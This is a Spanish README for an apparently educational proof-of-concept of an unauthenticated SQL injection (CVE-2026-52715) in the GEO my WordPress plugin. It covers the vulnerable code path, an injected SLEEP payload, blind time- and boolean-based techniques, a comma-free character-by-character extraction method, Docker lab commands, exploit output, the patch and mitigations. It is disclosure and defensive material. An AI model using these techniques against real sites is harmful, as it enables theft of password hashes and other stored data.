
PoC funcional de CVE-2026-52715 (GeoLeak): SQLi no autenticada en GEO my WordPress <= 4.5.5 via swlatlng/nelatlng. Laboratorio Docker + exploit time-based/boolean-based + exfiltracion sin comas en payload.
Proof of Concept educativa de GeoLeak (CVE-2026-52715), inyeccion SQL no autenticada (CVSS 9.3) en el plugin GEO my WordPress <= 4.5.5 para WordPress. Los parametros
swlatlngynelatlngde los limites del mapa se interpolan sin saneado en la clausula WHERE. Laboratorio Docker autocontenido + exploit con tecnicas time-based, boolean-based y exfiltracion caracter a caracter.
CVE-2026-52715 es una inyeccion SQL (CWE-89) en la funcion gmw_get_locations_within_boundaries_sql() del plugin GEO my WordPress, que afecta a todas las versiones <= 4.5.5 y esta parcheada desde la 4.5.5.1 (15 de junio de 2026). Fue descubierta por el investigador alvarodh5 y publicada via Patchstack.
La cadena bautizada GeoLeak demuestra como, partiendo unicamente de acceso de lectura a cualquier pagina publica que contenga el shortcode [gmw], un atacante puede:
swlatlng (o nelatlng) del query string, sin cookies, sin nonce y sin autenticacion.SLEEP() (time-based blind) evaluado por cada fila del INNER JOIN contra wp_gmw_locations."total_results":N que el propio plugin embebe en el JSON de configuracion del mapa para inferir condiciones booleanas (boolean-based blind).explode(',', ...)), mediante CASE WHEN y SUBSTRING(x FROM n FOR 1).El resultado es lectura arbitraria de la base de datos de WordPress: tabla wp_users (hashes de contrasenas), opciones de configuracion, claves y datos de terceros almacenados en plugins.
En la PoC se verifica la extraccion completa de VERSION() de MariaDB unicamente con peticiones GET.
Este repositorio contiene material estrictamente educativo y defensivo.
┌─────────────────────────────────────────────────────────────────────┐
│ 1. Peticion publica sin autenticar │
│ GET /?page_id=5&form=1&action=fs&swlatlng=<payload>&nelatlng=… │
│ pagina publica con shortcode [gmw form="1"] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. GMW_Form::set_default_values() │
│ action=fs => formulario marcado como enviado │
│ get_form_values() toma $_SERVER['QUERY_STRING'] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. gmw_get_form_values() (gmw-functions.php:512) │
│ parse_str($query_string, $output) sin lista de permitidos │
│ $output['swlatlng'] llega intacto │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. parse_query_args() (class-gmw-form-core.php:794) │
│ gmw_swlatlng / gmw_nelatlng copiados a los argumentos de busqueda│
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. gmw_get_locations_within_boundaries_sql() (gmw-functions:669) │
│ $sw = explode(',', $southwest); │
│ "AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} )" │
│ interpolacion directa: sin prepare, sin validacion │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. WP_Query -> $wpdb->get_results() │
│ SQL: ... AND ( gmw_locations.latitude BETWEEN │
│ 1 AND SLEEP(5) AND 40.416775 AND 41 ) ... │
│ respuesta retardada 5s / total_results = oraculo │
└─────────────────────────────────────────────────────────────────────┘
curl y awk para el exploitdocker-compose.yml)POC-GeoLeak-CVE-2026-52715/
├── docker-compose.yml WordPress 6.8 (PHP 8.2) + MariaDB 11
├── docker/
│ ├── Dockerfile Imagen WP + WP-CLI + entrypoint del laboratorio
│ ├── lab-entrypoint.sh Arranque + siembra automatica en el primer boot
│ ├── seed.sh Instalacion WP, formulario, post geolocalizado
│ └── geo-my-wp/ Plugin GEO my WordPress 4.5.5 (codigo vulnerable)
├── poc/
│ └── poc.sh Exploit: time-based + boolean-based + exfiltracion
├── docs/
│ ├── analisis-tecnico.md Cadena completa request -> SQL, con codigo
│ └── diff-parche-4.5.5.1-gmw-functions.php.diff Parche oficial real
├── LICENSE
└── README.md
# 1. Levantar el laboratorio (primer arranque: 60-90 s)
docker compose up -d --build
# 2. Comprobar que la siembra termino
docker compose logs wordpress | grep lab-entrypoint
# [lab-entrypoint] laboratorio listo
# 3. Ejecutar la PoC
./poc/poc.sh
# 4. Destruir el laboratorio
docker compose down -v
Parametros configurables del exploit:
TARGET=http://localhost:3080 PAGE_ID=5 FORM_ID=1 SLEEP=5 ./poc/poc.sh
Acceso a WordPress: http://localhost:3080 con admin/admin. La pagina con el formulario vulnerable es http://localhost:3080/?page_id=5.
Nota: la fila semilla en
wp_gmw_locationses imprescindible. La consulta usa INNER JOIN contra esa tabla: sin filas el WHERE inyectado no se evalua ySLEEP()no duerme.
Salida real de la ultima ejecucion contra el laboratorio (14 de agosto de 2026):
$ ./poc/poc.sh
===================================================
CVE-2026-52715 | GEO my WordPress <= 4.5.5
SQLi no autenticada via swlatlng/nelatlng
Objetivo: http://localhost:3080
===================================================
[*] Prueba time-based (SLEEP 5s)...
Peticion benigna : 0.037000s
Payload SLEEP : 5.034984s
[+] VULNERABLE: retardo de 5.034984s confirma la inyeccion SQL
[*] Prueba boolean-based (oraculo total_results)...
Condicion TRUE -> total_results=1
Condicion FALSE -> total_results=0
[+] VULNERABLE: el numero de resultados depende de la condicion inyectada
[*] Extraccion de VERSION() caracter a caracter...
[+] VERSION() = 11.8.8-MariaDB-ubu2404
[*] PoC completado
Verificacion cruzada directamente contra la base de datos:
$ docker exec cve-2026-52715-db mariadb -u wordpress -pwordpress wordpress \
-N -e "SELECT VERSION();"
11.8.8-MariaDB-ubu2404
Contra la version parcheada (>= 4.5.5.1) la fase time-based responde en milisegundos y la PoC termina con [-] No se detecto retardo (objetivo posiblemente parcheado >= 4.5.5.1).
Detalle completo, con los fragmentos de codigo y las lineas exactas, en docs/analisis-tecnico.md. Puntos clave:
gmw_get_locations_within_boundaries_sql() interpola {$sw[0]}, {$sw[1]}, {$ne[0]}, {$ne[1]} directamente en el WHERE (los cuatro puntos son inyectables).gmw_get_form_values() procesa el query string completo con parse_str() sin lista de permitidos.explode(',', $southwest). La PoC usa CASE WHEN a THEN b ELSE c END en lugar de IF(a,b,c) y SUBSTRING(x FROM n FOR 1) en lugar de SUBSTRING(x,n,1).Diff real completo en docs/diff-parche-4.5.5.1-gmw-functions.php.diff. Entre 4.5.5 y 4.5.5.1 unicamente difieren tres ficheros (geo-my-wp.php de version, readme.txt de changelog y includes/gmw-functions.php):
gmw_parse_latlng_boundary(): exige exactamente 2 partes numericas finitas con |lat| <= 90 y |lng| <= 180.gmw_get_form_values() descarta con unset() los valores que no validan.$wpdb->prepare() y marcadores %f.Version actual del plugin: 4.5.5.3 (julio de 2026), parcheada.
swlatlng/nelatlng, o virtual patching (Patchstack y similares).[gmw] publicos necesitan la busqueda por limites de mapa.swlatlng/nelatlng anormales en los logs.wp_users, la inyeccion permite leerlos."total_results":N-10..1wp_posts.* mas los campos gmw); error-based no practica (wpdb silencia errores).wp_ajax_nopriv_* del plugin o no ejecutan SQL (version gratuita), o estan protegidos por nonce. El vector del CVE en la version gratuita es el GET del formulario.